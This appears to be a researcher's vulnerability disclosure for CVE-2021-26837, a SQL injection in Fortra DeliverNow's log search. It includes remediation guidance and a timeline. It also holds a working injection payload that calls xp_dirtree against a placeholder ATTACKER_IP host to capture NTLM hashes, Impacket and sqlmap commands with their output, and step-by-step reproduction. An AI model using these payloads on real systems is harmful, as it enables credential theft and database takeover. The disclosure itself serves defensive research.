Share
## https://sploitus.com/exploit?id=196CF982-151C-5685-9757-5E2B5C4ACF73
# CVE-2021-26837

**SQL Injection in HelpSystems / Fortra DeliverNow**

The `SearchTextbox` parameter on DeliverNow's log search page (`/LogGrid.aspx`) is
concatenated directly into a SQL Server query with no parameterisation and no
server-side validation. The application also rendered the resulting SQL Server parser
errors back to the user, which is how the bug announced itself in the first place.

The database connection ran as `sa`, so the injection inherited full sysadmin rights on
the instance. That was enough to call `master.dbo.xp_dirtree` against an attacker
controlled UNC path and force the SQL Server service account to authenticate outbound.

Found during an internal penetration test. Fixed by the vendor in DeliverNow 1.2.18 and
published as [CVE-2021-26837](https://nvd.nist.gov/vuln/detail/CVE-2021-26837).

Discovered and reported by [Sedric Louissaint](https://sedriclouissaint.com) of
[Show Up Show Out Security](https://susos.co).

---

## Summary

| | |
|---|---|
| **CVE** | [CVE-2021-26837](https://nvd.nist.gov/vuln/detail/CVE-2021-26837) |
| **Product** | DeliverNow (HelpSystems, now Fortra) |
| **Affected** | before 1.2.18 (the original advisory listed 1.2.18 and earlier) |
| **Weakness** | [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html) |
| **CVSS 3.1 (NVD)** | 9.8 Critical `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CVSS 2 (researcher)** | 9.0 `AV:N/AC:L/Au:N/C:C/I:P/A:P` |
| **Published** | 2023-09-19 |
| **Tested on** | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |

NVD description:

> SQL Injection vulnerability in SearchTextBox parameter in Fortra (Formerly
> HelpSystems) DeliverNow before version 1.2.18, allows attackers to execute arbitrary
> code, escalate privileges, and gain sensitive information.

## Technical detail

### Injection point

`POST /LogGrid.aspx`, body parameter `SearchTextbox`. The form is the search control in
the application's **Log** view. `ddlFieldName` selects the column to search
(`Description` in the requests below) and `SearchTextbox` carries the term.

A single quote is enough to prove it:

```
blah'
```

The response renders the SQL Server parser error directly in the page:

```
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.
```

![Log search returning an unclosed quotation mark error](media/01-sql-error-in-log-search.png)

That error disclosure is a finding in its own right. It converts what would otherwise
be a blind injection into a fully interactive one.

### Out-of-band confirmation via xp_dirtree

Because the connection runs as `sa`, `master.dbo.xp_dirtree` is reachable. Pointing it
at a UNC path on a host you control makes the SQL Server service account authenticate
outbound to that host over SMB:

```sql
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--
```

![The payload in the search box](media/02-xp-dirtree-payload-in-searchtextbox.png)

Full request in [`poc/exploited-request.http`](poc/exploited-request.http), payloads in
[`poc/payloads.sql`](poc/payloads.sql).

![The exploited HTTP request](media/05-exploited-http-request.png)

### Captured authentication

With Impacket's `smbserver.py` listening, the target's SQL Server service account
authenticates and leaks an NTLMv2 hash:

```
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...
```

![Forced authentication captured with Impacket](media/03-forced-auth-captured-impacket.png)

The hash is then available for offline cracking or for NTLM relay to another host.

### Privilege context

sqlmap confirms the injection and the privilege level:

```
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21
```

![sqlmap enumeration showing current user sa](media/04-sqlmap-sa-enumeration.png)

`sa` means every login hash on the instance is readable, and `xp_cmdshell` is one
`sp_configure` call away from command execution on the host.

## Reproduction

Against a lab instance you own or are authorised to test:

1. Browse to the DeliverNow web UI (default `http://:1080/`) and open **Log**.
2. Enter `blah'` in the search box and submit. A vulnerable build renders the SQL Server
   parser error in the page.
3. Start a listener on a host the target can reach:
   ```bash
   sudo smbserver.py c . -smb2support
   ```
4. Submit the `xp_dirtree` payload from [`poc/payloads.sql`](poc/payloads.sql) with your
   own IP substituted. A vulnerable build produces an inbound SMB authentication from
   the SQL Server service account.
5. Optionally confirm with sqlmap using the saved request:
   ```bash
   sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
   ```

## Repository contents

```
poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png
```

Hosts and hashes in the captures are from the original engagement and are long dead.
Substitute your own listener address when reproducing.

## Remediation

1. **Use parameterised queries / prepared statements** for every query built from user
   input. This is the actual fix. Everything else is depth.
2. **Validate and sanitise server side.** The POST body is fully attacker controlled
   regardless of what the client-side form allows.
3. **Stop connecting as `sa`.** The application needs read and write access to its own
   tables. It does not need sysadmin, and it does not need `xp_dirtree`. Least privilege
   would not have prevented the injection but would have contained it.
4. **Do not render database errors to users.** Log them server side and return a generic
   message.
5. **Restrict outbound SMB** from database servers at the network boundary, which
   removes the out-of-band channel used here.

Fixed by the vendor in DeliverNow 1.2.18. Upgrade.

## Timeline

| Date | Event |
|---|---|
| 2021 | Found during an internal penetration test and reported to HelpSystems |
| 2021 | Fixed in DeliverNow 1.2.18 |
| 2023-09-19 | CVE-2021-26837 published to NVD, scored 9.8 Critical |

## Write-ups

- Personal account: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
- Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

## Disclaimer

Published after vendor remediation, for defensive and educational use. The payloads here
target a version patched years ago. Do not run them against systems you do not own or
have written authorisation to test.